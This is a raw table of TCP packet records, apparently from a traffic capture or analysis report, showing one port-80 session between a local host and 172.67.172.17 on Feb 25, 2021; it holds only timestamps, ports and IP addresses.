Feb 25, 2021 15:16:00.467215061 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467216015 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.467233896 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467248917 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.467253923 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467272043 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467293978 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467308998 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.467343092 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.467947960 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467968941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.467992067 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.468009949 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.468038082 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.468039036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.468075991 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.468908072 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.468930960 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.468955040 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.468971968 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.468993902 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.469010115 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.469048023 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.469743967 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.469767094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.469789982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.469808102 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.469829082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.469839096 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.469868898 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.470659018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.470678091 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.470699072 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.470762014 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.471163034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.471193075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.471216917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.471227884 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.471246958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.471304893 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.472023010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472047091 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472083092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472103119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472121954 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472127914 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.472177982 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.472871065 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472893953 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472917080 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472933054 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472951889 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.472976923 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.473005056 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.473748922 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.473769903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.473793983 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.473812103 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.473829985 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.473861933 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.473882914 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.474628925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.474648952 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.474672079 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.474689007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.474706888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.474725008 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.474751949 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.475444078 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.475465059 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.475487947 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.475505114 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.475522995 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.475538015 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.475560904 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.476262093 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.476281881 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.476305008 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.476320982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.476339102 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.476352930 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.476377964 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.477169037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.477195024 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.477225065 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.477230072 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.477241039 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.477267981 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.477314949 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.477924109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.477957964 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.477983952 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.477996111 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.478014946 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.478070974 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.478797913 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.478807926 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.478827000 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.478846073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.478863955 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.478882074 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.478888035 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.479419947 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.479716063 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.479741096 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.479768991 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.479788065 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.479789972 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.479809999 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.479827881 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.479836941 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.479868889 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.480745077 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.480845928 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.480870962 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.480890989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.480911970 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.480930090 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.480935097 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.480947018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.480978012 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.481008053 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.481776953 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.481800079 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.481823921 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.481841087 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.481863022 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.481874943 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.481882095 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.481910944 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.481937885 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.483268023 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.483289003 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.483313084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.483330965 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.483350039 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.483370066 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.483397961 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.483434916 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.484945059 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.484966040 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.484989882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.485008955 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.485032082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.485049009 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.485053062 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.485081911 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.487795115 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.487816095 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.487829924 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.487914085 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.563956022 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.770915985 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.832600117 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853693008 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853718042 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853750944 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853769064 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853789091 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853799105 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.853806019 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853828907 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853846073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853853941 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.853868008 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853878021 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.853885889 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853899956 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.853943110 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856332064 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856359959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856384039 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856405020 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856436968 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856439114 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856458902 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856460094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856483936 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856487989 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856506109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856535912 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856545925 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856559992 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856575966 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856583118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856606960 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856635094 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856645107 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856657982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856679916 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856837988 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856863976 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856887102 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856905937 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856906891 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856931925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856961966 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856971979 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.856987953 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.856997013 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.857004881 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.857026100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.857039928 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.857120037 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858295918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858326912 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858365059 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858380079 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858390093 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858416080 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858448982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858458996 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858474970 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858493090 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858504057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858520985 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858577013 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858580112 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858607054 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858632088 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858638048 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858664989 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858666897 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858694077 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858726978 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858732939 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858752012 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858778954 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858809948 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858818054 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858834982 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858849049 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858859062 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858881950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858911037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858921051 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.858932018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.858972073 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.859553099 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859589100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859622002 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859647989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859675884 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.859679937 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859690905 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.859705925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859714985 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.859734058 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859757900 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859787941 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859793901 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.859812975 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859823942 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.859839916 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859863997 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859873056 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.859890938 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859916925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.859950066 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.859951019 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.860038996 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.860589027 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.860615969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.860636950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.860651970 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.860677958 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.860707998 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861010075 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861035109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861058950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861078024 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861102104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861105919 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861121893 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861133099 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861141920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861157894 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861162901 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861182928 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861212015 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861222029 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861232996 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861253023 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861253023 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861273050 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861287117 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861294031 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861454964 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861756086 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861784935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861805916 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861825943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861845970 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861869097 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861871958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861891985 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861901999 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861915112 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861927032 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861937046 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861953974 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861958027 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861977100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.861990929 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.861998081 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862018108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862041950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862056971 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.862087965 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.862749100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862773895 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862802029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862823963 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862842083 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.862844944 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862869024 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862873077 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.862890959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862912893 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862931013 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.862932920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862952948 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862962961 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.862977028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.862996101 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.862997055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863018036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863025904 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.863038063 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863122940 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.863799095 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863825083 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863852978 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863872051 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863892078 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.863899946 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863923073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863924980 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.863943100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.863964081 CET	80	49736	172.67.172.17	192.168.2.7
